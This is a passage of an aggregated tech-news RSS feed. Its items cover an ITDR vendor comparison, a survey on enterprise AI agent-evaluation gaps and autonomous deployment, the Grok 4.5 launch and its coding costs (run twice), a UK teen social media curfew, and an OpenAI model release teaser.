@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 12 Best Identity Threat Detection & Response (ITDR) Solutions, Compared and Priced (2026)]]></title>
<description><![CDATA[Identity is where breaches start, and ITDR pricing is where budgets get confused platform modules, IdP SKUs, E5 bundles, and managed services all claim the same acronym. The value verdict up front: Huntress is the best published-price ITDR for SMBs…
Read more →
The post The 12 Best Identity Threa...]]></description>
<link>https://tsecurity.de/de/3681912/it-security-nachrichten/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681912/it-security-nachrichten/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/</guid>
<pubDate>Mon, 20 Jul 2026 20:08:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Identity is where breaches start, and ITDR pricing is where budgets get confused platform modules, IdP SKUs, E5 bundles, and managed services all claim the same acronym. The value verdict up front: Huntress is the best published-price ITDR for SMBs…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/">The 12 Best Identity Threat Detection &amp; Response (ITDR) Solutions, Compared and Priced (2026)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 12 Best Identity Threat Detection & Response (ITDR) Solutions, Compared and Priced (2026)]]></title>
<description><![CDATA[Identity is where breaches start, and ITDR pricing is where budgets get confused platform modules, IdP SKUs, E5 bundles, and managed services all claim the same acronym. The value verdict up front: Huntress is the best published-price ITDR for SMBs and MSPs, Microsoft Defender for Identity is eff...]]></description>
<link>https://tsecurity.de/de/3681887/it-security-nachrichten/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681887/it-security-nachrichten/the-12-best-identity-threat-detection-response-itdr-solutions-compared-and-priced-2026/</guid>
<pubDate>Mon, 20 Jul 2026 19:53:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Identity is where breaches start, and ITDR pricing is where budgets get confused platform modules, IdP SKUs, E5 bundles, and managed services all claim the same acronym. The value verdict up front: Huntress is the best published-price ITDR for SMBs and MSPs, Microsoft Defender for Identity is effectively the bundled default inside E5 estates, Sophos […]</p>
<p>The post <a href="https://gbhackers.com/itdr-solutions-compared-features-pricing/">The 12 Best Identity Threat Detection &amp; Response (ITDR) Solutions, Compared and Priced (2026)</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Polling rates explained: do you really need 8,000Hz for keyboards and mice in 2026?]]></title>
<description><![CDATA[TechRadar investigates whether you really need an 8,000Hz polling rate for your gaming keyboard or mouse, looks at the pros/cons, professional players, and gives a definitive verdict.]]></description>
<link>https://tsecurity.de/de/3678012/it-nachrichten/polling-rates-explained-do-you-really-need-8000hz-for-keyboards-and-mice-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678012/it-nachrichten/polling-rates-explained-do-you-really-need-8000hz-for-keyboards-and-mice-in-2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:02:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TechRadar investigates whether you really need an 8,000Hz polling rate for your gaming keyboard or mouse, looks at the pros/cons, professional players, and gives a definitive verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew]]></title>
<description><![CDATA[All the young people the Guardian spoke to disagreed with aspects of the government’s proposed blockSixteen- and 17-year-olds in Britain are to be encouraged to observe a midnight to 6am social media curfew but will be able to opt out by changing their account settings.From next spring, they will...]]></description>
<link>https://tsecurity.de/de/3671792/it-nachrichten/whats-the-point-teenagers-give-their-verdict-on-britains-social-media-curfew/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671792/it-nachrichten/whats-the-point-teenagers-give-their-verdict-on-britains-social-media-curfew/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>All the young people the Guardian spoke to disagreed with aspects of the government’s proposed block</p><p>Sixteen- and 17-year-olds in Britain are to be encouraged to observe a <a href="https://www.theguardian.com/technology/2026/jul/14/uk-16-17-year-olds-midnight-social-media-curfew">midnight to 6am social media curfew</a> but will be able to opt out by changing their account settings.</p><p>From next spring, they will be urged to refrain from using certain apps, with the block being switched on by default. But the curfew will not be mandatory and can be overridden.</p> <a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656700/ai-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656700/ai-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</guid>
<pubDate>Thu, 09 Jul 2026 12:33:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</guid>
<pubDate>Thu, 09 Jul 2026 12:32:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>



<p><em>The article originally appeared on <a href="https://www.infoworld.com/article/4194895/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI to release delayed models Thursday amidst a sea of regulatory confusion]]></title>
<description><![CDATA[As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.



Initially, the US gov...]]></description>
<link>https://tsecurity.de/de/3655253/ai-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655253/ai-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</guid>
<pubDate>Wed, 08 Jul 2026 21:03:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
